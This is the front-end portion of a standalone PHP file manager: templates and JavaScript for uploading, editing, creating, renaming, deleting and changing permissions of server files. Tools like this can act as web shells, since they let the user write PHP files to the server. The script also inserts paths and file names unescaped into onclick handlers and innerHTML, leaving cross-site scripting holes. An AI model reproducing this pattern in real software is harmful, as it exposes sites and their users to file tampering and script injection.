<?php if ($editFile): ?>
» <a href="?dir=<?= urlencode($currentDir) ?>">← Back</a>
<?php endif; ?>
</div>
<div id="alert" class="alert"></div>
<?php if ($editFile): ?>
<!-- File Editor -->
<div class="editor-container">
<div class="editor-header">
<h2>
<span>✏️</span>
Editing: <?= htmlspecialchars(basename($editFile)) ?>
</h2>
<button class="btn btn-success" onclick="saveFile()">
<span>💾</span> Save File
</button>
</div>
<textarea id="fileContent" class="code-editor"><?= htmlspecialchars($fileContent) ?></textarea>
<input type="hidden" id="editFilePath" value="<?= htmlspecialchars($editFile) ?>">
<div class="permissions-selector">
<span style="font-weight: 500; color: var(--text-secondary);">Permissions:</span>
<input type="text" id="permissionsInput" value="0644" style="width: 80px; padding: 8px;">
<button class="btn btn-secondary" onclick="changePermissions('<?= htmlspecialchars($editFile) ?>')">
Change
</button>
</div>
</div>
<?php else: ?>
<!-- WordPress Style Upload Section -->
<div class="upload-section" id="uploadSection">
<div class="upload-header">
<div class="upload-icon">📤</div>
<h2 class="upload-title">Upload Files</h2>
<p class="upload-subtitle">Drag files here or click to select files</p>
</div>
<div class="upload-buttons">
<button class="select-files-btn" onclick="document.getElementById('fileUpload').click()">
Select Files
</button>
<button class="btn btn-secondary" onclick="showCreateFolderModal()">
Create Folder
</button>
</div>
<div class="upload-details">
<div class="upload-detail">
<i>📦</i>
<span>Max file size: <?= round($maxFileSize / (1024 * 1024)) ?>MB</span>
</div>
<div class="upload-detail">
<i>✅</i>
<span>Multiple files allowed</span>
</div>
<div class="upload-detail">
<i>📄</i>
<span>Supported: <?= implode(', ', array_keys($allowedExtensions)) ?></span>
</div>
</div>
<!-- Upload Progress Container -->
<div class="file-list-container" id="uploadProgressContainer" style="display: none;">
<h4 style="margin-bottom: 15px; color: var(--text-primary);">Uploading Files:</h4>
<div class="file-list" id="uploadFileList"></div>
</div>
</div>
<!-- Hidden File Input -->
<input type="file" id="fileUpload" multiple style="display: none;" onchange="handleFileSelect(this.files)">
<!-- File Manager View - State Line Layout -->
<div class="file-state-container">
<!-- Folders Section -->
<div class="folders-section">
<div class="section-header">
<h2><span>📁</span> Folders (<?= $stats['folders'] ?>)</h2>
</div>
<div class="folders-list">
<?php if ($stats['folders'] > 0): ?>
<?php foreach ($files as $file): ?>
<?php if ($file['is_dir']): ?>
<div class="folder-item"
data-name="<?= htmlspecialchars($file['name']) ?>"
data-path="<?= htmlspecialchars($file['relative_path']) ?>"
ondblclick="navigateTo('<?= $file['relative_path'] ?>')"
oncontextmenu="showContextMenu(event, this, 'folder')">
<div class="folder-header">
<div class="folder-name">
<span class="folder-icon">📁</span>
<?= htmlspecialchars($file['name']) ?>
</div>
<div class="folder-actions">
<button class="action-btn" onclick="event.stopPropagation(); showChmodModal('<?= htmlspecialchars($file['relative_path']) ?>', '<?= $file['permissions'] ?>')" title="Permissions">🔒</button>
<button class="action-btn" onclick="event.stopPropagation(); renameItem('<?= htmlspecialchars($file['relative_path']) ?>')" title="Rename">📝</button>
<button class="action-btn" onclick="event.stopPropagation(); deleteItem('<?= htmlspecialchars($file['relative_path']) ?>')" title="Delete">🗑️</button>
</div>
</div>
<div class="folder-details">
<div class="detail-item">
<span class="detail-label">Modified:</span>
<span><?= $file['modified'] ?></span>
</div>
<div class="detail-item">
<span class="detail-label">Permissions:</span>
<span><?= $file['permissions'] ?></span>
</div>
</div>
</div>
<?php endif; ?>
<?php endforeach; ?>
<?php else: ?>
<div class="empty-state">
<div class="icon">📁</div>
<p>No folders in this directory</p>
</div>
<?php endif; ?>
</div>
</div>
<!-- Files Section -->
<div class="files-section">
<div class="section-header">
<h2><span>📄</span> Files (<?= $stats['files'] ?>)</h2>
</div>
<div class="files-list">
<?php if ($stats['files'] > 0): ?>
<?php foreach ($files as $file): ?>
<?php if (!$file['is_dir']): ?>
<div class="file-item"
data-name="<?= htmlspecialchars($file['name']) ?>"
data-path="<?= htmlspecialchars($file['relative_path']) ?>"
data-type="<?= $file['type'] ?>"
ondblclick="viewFile('<?= $file['relative_path'] ?>')"
oncontextmenu="showContextMenu(event, this, 'file')">
<div class="file-header">
<div class="file-name-main">
<span class="file-icon"><?= $file['icon'] ?></span>
<?= htmlspecialchars($file['name']) ?>
<span style="font-size: 11px; color: var(--accent-color); background: rgba(74, 110, 224, 0.1); padding: 2px 8px; border-radius: 10px;">
<?= strtoupper($file['extension']) ?>
</span>
</div>
<div class="file-actions">
<button class="action-btn" onclick="event.stopPropagation(); editFile('<?= htmlspecialchars($file['relative_path']) ?>')" title="Edit">✏️</button>
<button class="action-btn" onclick="event.stopPropagation(); showChmodModal('<?= htmlspecialchars($file['relative_path']) ?>', '<?= $file['permissions'] ?>')" title="Permissions">🔒</button>
<button class="action-btn" onclick="event.stopPropagation(); renameItem('<?= htmlspecialchars($file['relative_path']) ?>')" title="Rename">📝</button>
<button class="action-btn" onclick="event.stopPropagation(); deleteItem('<?= htmlspecialchars($file['relative_path']) ?>')" title="Delete">🗑️</button>
</div>
</div>
<div class="file-details">
<div class="detail-item">
<span class="detail-label">Size:</span>
<span><?= $file['size'] ?></span>
</div>
<div class="detail-item">
<span class="detail-label">Modified:</span>
<span><?= $file['modified'] ?></span>
</div>
<div class="detail-item">
<span class="detail-label">Permissions:</span>
<span><?= $file['permissions'] ?></span>
</div>
<div class="detail-item">
<span class="detail-label">Type:</span>
<span style="text-transform: capitalize;"><?= $file['type'] ?></span>
</div>
</div>
</div>
<?php endif; ?>
<?php endforeach; ?>
<?php else: ?>
<div class="empty-state">
<div class="icon">📄</div>
<p>No files in this directory</p>
</div>
<?php endif; ?>
</div>
</div>
</div>
<?php endif; ?>
</div>
<!-- Upload Modal (Fallback) -->
<div class="modal" id="uploadModal">
<div class="modal-content">
<h3>📤 Upload Files</h3>
<form id="uploadForm" enctype="multipart/form-data">
<input type="file" name="file[]" id="fileInput" multiple>
<div class="modal-actions">
<button type="button" class="btn btn-secondary" onclick="hideUploadModal()">Cancel</button>
<button type="submit" class="btn">Upload</button>
</div>
</form>
</div>
</div>
<!-- Create Folder Modal -->
<div class="modal" id="createFolderModal">
<div class="modal-content">
<h3>📁 Create New Folder</h3>
<input type="text" id="folderName" placeholder="Enter folder name">
<div class="modal-actions">
<button type="button" class="btn btn-secondary" onclick="hideCreateFolderModal()">Cancel</button>
<button type="button" class="btn" onclick="createFolder()">Create</button>
</div>
</div>
</div>
<!-- Create File Modal -->
<div class="modal" id="createFileModal">
<div class="modal-content">
<h3>📄 Create New File</h3>
<input type="text" id="newFileName" placeholder="Enter file name (e.g., example.php)">
<textarea id="newFileContent" placeholder="Enter file content" rows="10"></textarea>
<div class="modal-actions">
<button type="button" class="btn btn-secondary" onclick="hideCreateFileModal()">Cancel</button>
<button type="button" class="btn" onclick="createFile()">Create</button>
</div>
</div>
</div>
<!-- Chmod Modal -->
<div class="modal" id="chmodModal">
<div class="modal-content">
<h3>🔒 Change Permissions</h3>
<input type="hidden" id="chmodPath">
<p>Current permissions: <span id="currentPermissions" style="font-weight: bold; color: var(--accent-color);"></span></p>
<input type="text" id="permissionsValue" placeholder="e.g., 0755" maxlength="4">
<small style="display: block; margin-top: 5px; color: var(--text-secondary);">Format: 4-digit octal (e.g., 0755, 0644)</small>
<div class="modal-actions">
<button type="button" class="btn btn-secondary" onclick="hideChmodModal()">Cancel</button>
<button type="button" class="btn" onclick="performChmod()">Change</button>
</div>
</div>
</div>
<!-- Rename Modal -->
<div class="modal" id="renameModal">
<div class="modal-content">
<h3>✏️ Rename</h3>
<input type="text" id="newName" placeholder="Enter new name">
<input type="hidden" id="renamePath">
<div class="modal-actions">
<button type="button" class="btn btn-secondary" onclick="hideRenameModal()">Cancel</button>
<button type="button" class="btn" onclick="performRename()">Rename</button>
</div>
</div>
</div>
<!-- Context Menu -->
<div class="context-menu" id="contextMenu"></div>
<script>
// Theme Management
function toggleTheme() {
const body = document.body;
const themeBtn = document.querySelector('.theme-btn');
const themeIcon = themeBtn.querySelector('.theme-icon');
if (body.classList.contains('dark-mode')) {
body.classList.remove('dark-mode');
body.classList.add('light-mode');
themeIcon.textContent = '🌙';
localStorage.setItem('theme', 'light');
} else {
body.classList.remove('light-mode');
body.classList.add('dark-mode');
themeIcon.textContent = '☀️';
localStorage.setItem('theme', 'dark');
}
}
// Set dark mode by default
document.addEventListener('DOMContentLoaded', function() {
const savedTheme = localStorage.getItem('theme');
const body = document.body;
const themeBtn = document.querySelector('.theme-btn');
const themeIcon = themeBtn.querySelector('.theme-icon');
// Default to dark mode
if (savedTheme === 'light') {
body.classList.add('light-mode');
themeIcon.textContent = '🌙';
} else {
body.classList.add('dark-mode');
themeIcon.textContent = '☀️';
localStorage.setItem('theme', 'dark');
}
});
// File Upload Handling
let uploadQueue = [];
let isUploading = false;
function handleFileSelect(files) {
if (files.length === 0) return;
// Clear previous uploads
uploadQueue = [];
const uploadList = document.getElementById('uploadFileList');
uploadList.innerHTML = '';
document.getElementById('uploadProgressContainer').style.display = 'block';
// Add files to queue
Array.from(files).forEach(file => {
const fileId = 'file_' + Date.now() + Math.random().toString(36).substr(2, 9);
uploadQueue.push({
id: fileId,
file: file,
progress: 0,
status: 'pending'
});
// Create UI element for file
const fileItem = document.createElement('div');
fileItem.className = 'file-list-item';
fileItem.id = fileId;
fileItem.innerHTML = `
<div class="file-info">
<span class="file-icon-small">📄</span>
<div>
<div class="file-name">${file.name}</div>
<div class="file-size">${formatBytes(file.size)}</div>
</div>
</div>
<div class="file-progress">
<div class="progress-bar">
<div class="progress-fill" id="${fileId}_progress"></div>
</div>
</div>
<div class="file-status" id="${fileId}_status">Waiting...</div>
`;
uploadList.appendChild(fileItem);
});
// Start upload if not already uploading
if (!isUploading) {
uploadNextFile();
}
}
function uploadNextFile() {
if (uploadQueue.length === 0) {
isUploading = false;
setTimeout(() => {
document.getElementById('uploadProgressContainer').style.display = 'none';
refreshFiles();
}, 1000);
return;
}
isUploading = true;
const fileData = uploadQueue.shift();
uploadFile(fileData);
}
function uploadFile(fileData) {
const formData = new FormData();
formData.append('action', 'upload');
formData.append('file', fileData.file);
const xhr = new XMLHttpRequest();
xhr.upload.onprogress = function(e) {
if (e.lengthComputable) {
const progress = (e.loaded / e.total) * 100;
updateFileProgress(fileData.id, progress, 'Uploading...');
}
};
xhr.onload = function() {
if (xhr.status === 200) {
try {
const response = JSON.parse(xhr.responseText);
if (response.success) {
updateFileProgress(fileData.id, 100, '✅ Done');
} else {
updateFileProgress(fileData.id, 0, '❌ Failed');
showAlert(response.message, 'error');
}
} catch (e) {
updateFileProgress(fileData.id, 0, '❌ Error');
showAlert('Upload failed: Invalid response', 'error');
}
} else {
updateFileProgress(fileData.id, 0, '❌ Error');
showAlert('Upload failed: Server error ' + xhr.status, 'error');
}
// Upload next file
setTimeout(() => uploadNextFile(), 500);
};
xhr.onerror = function() {
updateFileProgress(fileData.id, 0, '❌ Failed');
showAlert('Upload failed: Network error', 'error');
setTimeout(() => uploadNextFile(), 500);
};
xhr.open('POST', '', true);
xhr.send(formData);
updateFileProgress(fileData.id, 0, 'Uploading...');
}
function updateFileProgress(fileId, progress, status) {
const progressBar = document.getElementById(fileId + '_progress');
const statusElement = document.getElementById(fileId + '_status');
if (progressBar) {
progressBar.style.width = progress + '%';
}
if (statusElement) {
statusElement.textContent = status;
if (status === '✅ Done') {
statusElement.style.color = 'var(--success-color)';
} else if (status.includes('❌')) {
statusElement.style.color = 'var(--danger-color)';
}
}
}
function formatBytes(bytes, decimals = 2) {
if (bytes === 0) return '0 Bytes';
const k = 1024;
const dm = decimals < 0 ? 0 : decimals;
const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
}
// Drag and Drop Upload
const uploadSection = document.getElementById('uploadSection');
['dragenter', 'dragover', 'dragleave', 'drop'].forEach(eventName => {
uploadSection.addEventListener(eventName, preventDefaults, false);
});
function preventDefaults(e) {
e.preventDefault();
e.stopPropagation();
}
['dragenter', 'dragover'].forEach(eventName => {
uploadSection.addEventListener(eventName, highlight, false);
});
['dragleave', 'drop'].forEach(eventName => {
uploadSection.addEventListener(eventName, unhighlight, false);
});
function highlight() {
uploadSection.classList.add('active');
}
function unhighlight() {
uploadSection.classList.remove('active');
}
uploadSection.addEventListener('drop', handleDrop, false);
function handleDrop(e) {
const dt = e.dataTransfer;
const files = dt.files;
handleFileSelect(files);
}
let selectedItem = null;
function showAlert(message, type = 'success') {
const alert = document.getElementById('alert');
alert.textContent = message;
alert.className = `alert alert-${type}`;
alert.style.display = 'block';
setTimeout(() => {
alert.style.display = 'none';
}, 5000);
}
// Modal functions
function showUploadModal() {
document.getElementById('uploadModal').style.display = 'block';
}
function hideUploadModal() {
document.getElementById('uploadModal').style.display = 'none';
document.getElementById('uploadForm').reset();
}
function showCreateFolderModal() {
document.getElementById('createFolderModal').style.display = 'block';
document.getElementById('folderName').value = '';
document.getElementById('folderName').focus();
}
function hideCreateFolderModal() {
document.getElementById('createFolderModal').style.display = 'none';
}
function showCreateFileModal() {
document.getElementById('createFileModal').style.display = 'block';
document.getElementById('newFileName').value = '';
document.getElementById('newFileContent').value = '';
document.getElementById('newFileName').focus();
}
function hideCreateFileModal() {
document.getElementById('createFileModal').style.display = 'none';
}
function showChmodModal(path, currentPermissions) {
document.getElementById('chmodModal').style.display = 'block';
document.getElementById('chmodPath').value = path;
document.getElementById('currentPermissions').textContent = currentPermissions;
document.getElementById('permissionsValue').value = currentPermissions;
document.getElementById('permissionsValue').focus();
}
function hideChmodModal() {
document.getElementById('chmodModal').style.display = 'none';
}
function showRenameModal(path, currentName) {
document.getElementById('renameModal').style.display = 'block';
document.getElementById('renamePath').value = path;
document.getElementById('newName').value = currentName;
document.getElementById('newName').focus();
}
function hideRenameModal() {
document.getElementById('renameModal').style.display = 'none';
}
// File operations
function navigateTo(path) {
window.location.href = `?dir=${encodeURIComponent(path)}`;
}
function editFile(path) {
window.location.href = `?dir=<?= urlencode($currentDir) ?>&edit=${encodeURIComponent(path)}`;
}
function viewFile(path) {
window.open(path, '_blank');
}
function refreshFiles() {
window.location.reload();
}
function saveFile() {
const filePath = document.getElementById('editFilePath').value;
const content = document.getElementById('fileContent').value;
const formData = new FormData();
formData.append('action', 'edit_file');
formData.append('file_path', filePath);
formData.append('content', content);
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.message);
} else {
showAlert(data.message, 'error');
}
})
.catch(error => {
showAlert('Failed to save file: ' + error, 'error');
});
}
function changePermissions(path) {
const permissions = document.getElementById('permissionsInput').value;
const formData = new FormData();
formData.append('action', 'change_permissions');
formData.append('path', path);
formData.append('permissions', permissions);
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.message);
} else {
showAlert(data.message, 'error');
}
});
}
function performChmod() {
const path = document.getElementById('chmodPath').value;
const permissions = document.getElementById('permissionsValue').value;
const formData = new FormData();
formData.append('action', 'change_permissions');
formData.append('path', path);
formData.append('permissions', permissions);
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.message);
hideChmodModal();
setTimeout(() => refreshFiles(), 1000);
} else {
showAlert(data.message, 'error');
}
});
}
// Fallback upload form
document.getElementById('uploadForm')?.addEventListener('submit', function(e) {
e.preventDefault();
const formData = new FormData(this);
formData.append('action', 'upload');
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.message);
hideUploadModal();
setTimeout(() => refreshFiles(), 1000);
} else {
showAlert(data.message, 'error');
}
})
.catch(error => {
showAlert('Upload failed: ' + error, 'error');
});
});
function createFolder() {
const folderName = document.getElementById('folderName').value.trim();
if (!folderName) {
showAlert('Please enter a folder name', 'error');
return;
}
const formData = new FormData();
formData.append('action', 'create_folder');
formData.append('folder_name', folderName);
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.message);
hideCreateFolderModal();
setTimeout(() => refreshFiles(), 1000);
} else {
showAlert(data.message, 'error');
}
});
}
function createFile() {
const fileName = document.getElementById('newFileName').value.trim();
const content = document.getElementById('newFileContent').value;
if (!fileName) {
showAlert('Please enter a file name', 'error');
return;
}
const formData = new FormData();
formData.append('action', 'create_file');
formData.append('file_name', fileName);
formData.append('content', content);
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.message);
hideCreateFileModal();
setTimeout(() => refreshFiles(), 1000);
} else {
showAlert(data.message, 'error');
}
});
}
function deleteItem(path) {
if (!confirm('Are you sure you want to delete this item?')) {
return;
}
const formData = new FormData();
formData.append('action', 'delete');
formData.append('path', path);
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.message);
setTimeout(() => refreshFiles(), 1000);
} else {
showAlert(data.message, 'error');
}
});
}
function renameItem(path) {
const currentName = path.split('/').pop();
showRenameModal(path, currentName);
}
function performRename() {
const path = document.getElementById('renamePath').value;
const newName = document.getElementById('newName').value.trim();
if (!newName) {
showAlert('Please enter a name', 'error');
return;
}
const formData = new FormData();
formData.append('action', 'rename');
formData.append('old_path', path);
formData.append('new_name', newName);
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.message);
hideRenameModal();
setTimeout(() => refreshFiles(), 1000);
} else {
showAlert(data.message, 'error');
}
});
}
function showContextMenu(e, element, type) {
e.preventDefault();
selectedItem = element;
const path = element.dataset.path;
const name = element.dataset.name;
const menu = document.getElementById('contextMenu');
menu.innerHTML = '';
if (type === 'folder') {
menu.innerHTML = `
<button onclick="navigateTo('${path}')">
<span>📂</span> Open
</button>
<button onclick="showChmodModal('${path}', '0755')">
<span>🔒</span> Permissions
</button>
<button onclick="renameItem('${path}')">
<span>✏️</span> Rename
</button>
<button onclick="deleteItem('${path}')" style="color: var(--danger-color);">
<span>🗑️</span> Delete
</button>
`;
} else {
menu.innerHTML = `
<button onclick="editFile('${path}')">
<span>✏️</span> Edit
</button>
<button onclick="window.open('${path}', '_blank')">
<span>📄</span> Open
</button>
<button onclick="showChmodModal('${path}', '0644')">
<span>🔒</span> Permissions
</button>
<button onclick="renameItem('${path}')">
<span>📝</span> Rename
</button>
<button onclick="deleteItem('${path}')" style="color: var(--danger-color);">
<span>🗑️</span> Delete
</button>
`;
}
menu.style.display = 'block';
menu.style.left = e.pageX + 'px';
menu.style.top = e.pageY + 'px';
}
document.addEventListener('click', () => {
document.getElementById('contextMenu').style.display = 'none';
});
window.onclick = function(event) {
const modals = document.getElementsByClassName('modal');
for (let modal of modals) {
if (event.target == modal) {
modal.style.display = 'none';
}
}
}
document.addEventListener('keydown', function(e) {
if (e.ctrlKey && e.key === 's') {
e.preventDefault();
if (document.getElementById('fileContent')) {
saveFile();
}
}
});
</script>
</body>
</html>